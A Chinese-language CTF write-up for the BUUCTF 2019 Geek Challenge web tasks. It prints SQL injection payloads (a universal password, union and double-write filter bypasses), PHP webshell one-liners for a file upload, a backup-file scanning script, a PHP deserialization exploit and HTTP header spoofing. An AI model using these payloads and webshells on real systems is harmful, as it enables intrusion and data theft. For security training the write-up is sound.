文章目录

  • Havefun
  • EasySQL
  • Secret-File
  • Knife
  • HTTP
  • Upload
  • PHP
  • Buyflag
  • loveSql
  • babysql

Havefun

首先F12,查看源代码

直接出flag

EasySQL

进来,一看就是sql注入题

使用万能密码:username=admin’ or 1=1 # password=1

Secret-File

F12

点击SELECT抓包,放包

得到代码
strstr函数和stristr()

strstr(PHP 4, PHP 5, PHP 7, PHP 8)
strstr — 查找字符串的首次出现
说明
strstr(string $haystack, mixed $needle, bool $before_needle = false): string
返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。
注意:
该函数区分大小写。如果想要不区分大小写,请使用 stristr()。
注意:
如果你仅仅想确定 needle 是否存在于 haystack 中,请使用速度更快、耗费内存更少的 strpos() 函数。
参数
haystack
输入字符串。
needle
如果 needle 不是一个字符串,那么它将被转化为整型并且作为字符的序号来使用。
before_needle
若为 true,strstr() 将返回 needle 在 haystack 中的位置之前的部分。
返回值
返回字符串的一部分或者 false(如果未发现 needle)。

过滤了data,input,我们用filter协议

Knife

直接蚁剑连接,得到flag

HTTP

F12看源码,有Secret.php


HTTP报头加:Referer: https://www.Sycsecret.com

User-Agent: Syclover

使用X-Forwarded-For: 127.0.0.1,得flag

Upload

先常规解法,发现过滤了<?,php后缀

但是phtml可以。
考虑木马的问题

常用的木马
<?php
@eval($_POST[1]);
?><?php
$_GET[2]($_POST[1]);
?><script language="php">eval($_POST[1]);</script>

只能使用第三个木马,发现传上去了
访问文件,一般都是./upload/filename

后面就是蚁剑的事了。

PHP

首先看备份网站
我们用脚本跑


import requestsurl1 = 'http://3499e959-d225-4eed-bfd2-d64918cad17a.node4.buuoj.cn:81/'       # url为被扫描地址,后不加‘/’# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']for i in list1:for j in list2:back=str(i)+"."+str(j)url_final=str(url1)+'/'+backprint(back,'  ',end='')print(requests.get(url_final).status_code)

得到文件

开始分析php文件
class.php的代码

<?php
include 'flag.php';
error_reporting(0);
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
//绕过__wakeup,使用实际上的属性值小于输入的属性值function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();    }}
}
?>

php反序列化,开始构造

<?php
class Name{private $username='admin';private $password=100;
}
$a=new Name();
$b=serialize($a);
$b=str_replace('"Name":2','"Name":5',$b);
//存在private属性,会有不可见字符,urlencode
echo urlencode($b);
?>

Buyflag

点击右上角的payflag,F12发现代码

弱类型绕过,password=404a&money=100000000
抓包,发现cookie不对,将user=1

显示太长,我们用科学计数法

loveSql

查列数
username=admin&password=1’ order by 3 – -
查数据库
username=admin&password=1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 – -
查表:
username=admin&password=1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“l0ve1ysq1”),3 – -
查数据
username=admin&password=1’ union select 1,(select group_concat(password) from l0ve1ysq1),3 – -
得flag

babysql

本题过滤了,or,and,union,select,*
我们使用双写绕过
查表:
1’ ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 %23&password=1
查列
1’ ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = ‘b4bsql’),3 %23&password=1
查内容:
1’ ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1

BUU-2019极客大挑战全集相关推荐

  1. 极客大挑战php,2019极客大挑战PHP反序列化

    1. 进入题目看到一只猫和提示备份的习惯.猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码. 2. 对其源码进行审计 a. index.php 包含文件index.ph ...

  2. buu [极客大挑战 2019]LoveSQL 1

    buu [极客大挑战 2019]LoveSQL 1 -刷题个人日记 小白一个,写给自己看. 进去后是这样: 用户名输入1和1'测试 发现1'报错 有sql语法错误,说明有sql注入点且后台数据库是Ma ...

  3. [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)

    [BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...

  4. 极客大挑战2020_CTF-Web-[极客大挑战 2019]HardSQL

    CTF-Web-[极客大挑战 2019]HardSQL 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得 ...

  5. BUUCTF Web [极客大挑战 2019]Havefun

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  6. BUUCTF-web [极客大挑战 2019]PHP1 之 反序列化漏洞

    PHP反序列化漏洞 一,什么是序列与反序列 序列就是把数据转成可逆的数据结构,目的是方便数据的储存和传输,反序列就是将数据逆转成原来的状态,序列就是拆数据,使得传输或储存更容易的过程,反序列就是重新拼 ...

  7. BUUCTF Web 极客大挑战 2019 EasySQL

    BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...

  8. [极客大挑战 2019]FinalSQL

    [极客大挑战 2019]FinalSQL 依次点击5个页面 到最后一个页面发现提示尝试第6个页面,观察到url中的id,输入6得到 有参数,尝试单引号 提示error 那么应该存在sql注入,尝试永真 ...

  9. BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http

    目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...

最新文章

  1. 继承QTreeWidgetItem发生error: 'staticMetaObject' is not a member of 'QTreeWidgetItem' 错误
  2. MyEclipse10安装SVN插件
  3. avcodec_send_packet()函数与avcodec_receive_frame()函数
  4. LeetCode(69):x 的平方根
  5. 代理模式(多线程实现状态监控)
  6. 文档对象模型dom_什么是文档对象模型,以及为什么应该知道如何使用它。
  7. [jstl] forEach标签使用
  8. MFC实现 MSN QQ 窗口抖动
  9. setTimeout、setInterval解刨
  10. 零跑C-more收获更多期待,而零跑S01还在追求更多的订单 | 2019 上海车展...
  11. Unbuntu的安装
  12. 使用Docker一键部署MongoDB
  13. java 文本框排版_怎么用java代码实现将文本框输入的内容按照设计的排版格式
  14. 什么是m叉树_品读 | 记忆深处那些树
  15. 【java笔记-006】【uni-app】当前运行的基座不包含原生插件[xxx],请在manifest中配置该插件,重新制作包括该原生插件的自定义运行基座
  16. 计算机在开机后显示器在显示桌面,电脑开机后显示屏一片空白
  17. 温度传感器c语言编写,温度传感器代码解析Ⅰ
  18. H.264编码器在需要时强制插入关键帧
  19. 用MFC写一个随机抽号的软件(VS2013)
  20. 程序员从互联网跳槽到银行 7天便辞职!吐槽银行技术水平:太落后了

热门文章

  1. php-2612硒鼓加墨_HP2612A硒鼓加粉图解
  2. Python在线聊天室
  3. Marktext语法——Emoji表情大全
  4. 练习假摔(视频, 超搞笑)
  5. 译见赋能跨语言大数据渠道生态
  6. 我是如何从屌丝程序员逆袭成为大厂总监的?
  7. java基于word模板动态生成word及转pdf实践
  8. HTML知识点总结还涉及一些subline的基本操作(有很多不足,现为初学者,以后补充)
  9. 将形如 5D, 30s 的字符串转为秒
  10. Linux常见命令:与系统管理有关的命令(转)